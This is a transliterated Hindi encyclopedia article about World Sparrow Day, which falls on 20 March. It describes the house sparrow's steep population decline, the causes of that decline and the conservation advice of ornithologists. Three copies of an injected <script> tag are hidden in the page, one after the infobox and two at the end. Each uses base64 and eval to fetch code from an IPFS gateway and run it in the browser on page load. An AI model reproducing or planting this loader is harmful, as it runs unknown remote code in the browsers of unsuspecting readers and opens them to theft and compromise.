विश्व गौरैया दिवस

vishv gauraiya divas
vishv gauraiya divas|200px|center
vivaran	'vishv gauraiya divas' sampoorn vishv mean manaya jane vala mahattvapoorn divas hai. yah divas vilupt hote gauraiya pakshi se ju da hai.
tithi	20 march
shuruat	varsh 2010 se
sanbandhit lekh	gauraiya
any janakari	'aandhr vishvavidyalay' dvara kie ge adhyayan ke anusar bharat mean gauraiya ki sankhya mean karib 60 phisadi ki kami aee hai. yah kami gramin aur shahari, donoan hi kshetroan mean huee hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vishv gauraiya divas (World Sparrow Day) pratyek varsh '20 march' ko manaya jata hai. yah divas poori duniya mean gauraiya pakshi ke sanrakshan ke prati logoan ko jagarook karane ke lie manaya jata hai. gharoan ko apani chian-chian se chahakane vali gauraiya ab dikhaee nahian deti. is chhote akar vale khoobasoorat pakshi ka kabhi iansan ke gharoan mean basera hua karata tha aur bachche bachapan se ise dekhate b de hua karate the. ab sthiti badal gee hai. gauraiya ke astitv par chhae sankat ke badaloan ne isaki sankhya kafi kam kar di hai aur kahian-kahian to ab yah bilkul dikhaee nahian deti.

shuruat

'vishv gauraiya divas' pahali bar varsh 2010 mean manaya gaya tha. yah divas pratyek varsh 20 march ko poori duniya mean gauraiya pakshi ke sanrakshan ke prati logoan ko jagarook karane ke lie manaya jata hai.

uddeshy

ek-do dashak pahale hamare ghar-aangan mean phudakane vali gauraiya aj vilupti ke kagar par hai. is nanhean se pariande ko bachane ke lie hi pichhale tin saloan se pratyek 20 march ko 'vishv gauraiya divas' ke roop mean manate a rahe haian, taki log is nanhian-si chi diya ke sanrakshan ke prati jagarook ho sakean. bharat mean gauraiya ki sankhya lagatar ghatati hi ja rahi hai. kuchh varshoan pahale asani se dikh jane vala yah pakshi ab tezi se vilupt ho raha hai. dilli mean to gauraiya is kadar durlabh ho gee hai ki dhooandhe se bhi ye pakshi nahian milata, isalie varsh 2012 mean dilli sarakar ne ise rajy-pakshi ghoshit kar diya.

sankatagrast pakshi 'gauraiya'

pahale yah chi diya jab apane bachchoan ko chugga khilaya karati thi to iansani bachche ise b de kautoohal se dekhate the, lekin ab to isake darshan bhi mushkil ho ge haian aur yah vilupt ho rahi prajatiyoan ki soochi mean a gee hai. pakshi vijnani hemant sianh ke anusar gauraiya ki abadi mean 60 se 80 phisadi tak ki kami aee hai. yadi isake sanrakshan ke uchit prayas nahian kie ge to ho sakata hai ki gauraiya itihas ka prani ban jae aur bhavishy ki pidhiyoan ko yah dekhane ko hi n mile. briten ki ‘r aauyal sosayati aauf protekshan aauf bardas’ ne bharat se lekar vishv ke vibhinn hissoan mean anusandhanakartaoan dvara kie ge adhyayanoan ke adhar par gauraiya ko ‘red list’ mean dala hai.

'aandhr vishvavidyalay' dvara kie ge adhyayan ke mutabiq gauraiya ki abadi mean karib 60 phisadi ki kami aee hai. yah hras gramin aur shahari, donoan hi kshetroan mean hua hai. pashchimi deshoan mean hue adhyayanoan ke anusar gauraiya ki abadi ghatakar khataranak star tak pahuanch gee hai. gauraiya par mandara rahe khatare ke karan hi suprasiddh paryavaranavid mohammad ee dilavar jaise logoan ke prayasoan se aj duniya bhar mean 20 march ko 'vishv gauraiya divas' manaya jata hai, taki log is pakshi ke sanrakshan ke prati jagarook ho sakean. dilavar dvara shuroo ki gee pahal par hi aj bahut se log gauraiya bachane ki koshishoan mean jut rahe haian.

gaureya aj sankatagrast pakshi hai, jo poore vishv mean tezi se durlabh ho rahi hai. das-bis sal pahale tak gaureya ke jhuand sarvajanik sthaloan par bhi dekhe ja sakate the, lekin khud ko paristhitiyoan ke anukool bana lene vali yah chi diya ab bharat hi nahian, yoorop ke kee b de hissoan mean bhi kafi kam rah gee hai. briten, itali, fraans, jarmani aur chek ganarajy jaise deshoan mean inaki sankhya jahaan tezi se gir rahi hai, to nidaralaiand mean to inhean 'durlabh prajati' ke varg mean rakha gaya hai.

gaureya ka sankshipt parichay

gaureya 'paseradeee' parivar ki sadasy hai, lekin kuchh log ise 'vivar phianch' parivar ki sadasy manate haian. inaki lambaee 14 se 16 seantimitar hoti hai tatha inaka vajan 25 se 32 gram tak hota hai. ek samay mean isake kam se kam tin bachche hote haian. gaureya adhikatar jhuand mean hi rahati hai. bhojan talashane ke lie gaureya ka ek jhuand adhikatar do mil ki doori tay karata hai. yah pakshi koo de mean bhi apana bhojan dhooandh lete haian.

ghatati sankhya ke karan

[[chitr:Sparrow-1.jpg|thumb|250px|gauraiya]] gauraiya ki ghatati sankhya ke kuchh mukhy karan nimnalikhit haian-

1. bhojan aur jal ki kami
2. ghosaloan ke lie uchit sthanoan ki kami
3. tezi se katate pe d-paudhe
4. gauraiya ke bachchoan ka bhojan shurooati das-pandrah dinoan mean sirph ki de-mako de hi hote hai, lekin ajakal log khetoan se lekar apane gamale ke pe d-paudhoan mean bhi rasayanik padarthoan ka upayog karate haian, jisase na to paudhoan ko ki de lagate haian aur na hi is pakshi ka samuchit bhojan panap pata hai. isalie gauraiya samet duniya bhar ke hazaroan pakshi aj ya to vilupt ho chuke haian ya phir kisi kone mean apani antim saanse gin rahe haian.
5. avasiy hras, anaj mean kitanashakoan ke istemal, ahar ki kami aur mobail phon tatha mobail t aauvaroan se nikalane vali sookshm tarangean gauraiya ke astitv ke lie khatara ban rahi haian.
6. aj logoan mean gauraiya ko lekar jagarookata paida kie jane ki zaroorat hai, kyoanki kee bar log apane gharoan mean is pakshi ke ghoansale ko basane se pahale hi uja d dete haian.
7. kee bar bachche inhean pak dakar pahachan ke lie inake pair mean dhaga baandhakar inhean chho d dete haian. isase kee bar kisi pe d ki tahani ya shakhaoan mean atak kar is pakshi ki jan chali jati hai. itana hi nahian kee bar bachche gauraiya ko pak dakar isake pankhoan ko rang dete haian, jisase use u dane mean dikkat hoti hai aur usake svasthy par bhi viparit asar p data hai.

pakshi vijnaniyoan ki salah

pakshi vijnaniyoan ke anusar gauraiya ko phir se bulane ke lie logoan ko apane gharoan mean kuchh aise sthan upalabdh karane chahie, jahaan ve asani se apane ghoansale bana sakean aur unake aande tatha bachche hamalavar pakshiyoan se surakshit rah sakean. vaijnanikoan ka manana hai ki gauraiya ki abadi mean hras ka ek b da karan yah bhi hai ki kee bar unake ghoansale surakshit jagahoan par n hone ke karan kaue jaise hamalavar pakshi unake aandoan tatha bachchoan ko kha jate haian.

gauraiya ajakal apane astitv ke lie manushyoan aur apane asapas ke vatavaran se kafi jaddojahad kar rahi hai. aise samay mean hamean in pakshiyoan ke lie vatavaran ko inake prati anukool banane mean sahayata pradan karani chahie. tabhi ye hamare bich chah chahayeange. manushyoan ko gauraiya ke lie kuchh na kuchh to karana hi hoga, varana yah bhi m aaurishas ke 'dodo' pakshi aur giddh ki tarah poori tarah se vilupt ho jayeange. isalie sabhi ko milakar gauraiya ka sanrakshan karana hoga.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• vishv gauraiya divas, gauraiya pyari
• o ri gauraiya (vishv gauraiya divas par...)
• vishv gauraiya divas par shraddha thavaeet ka alekh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>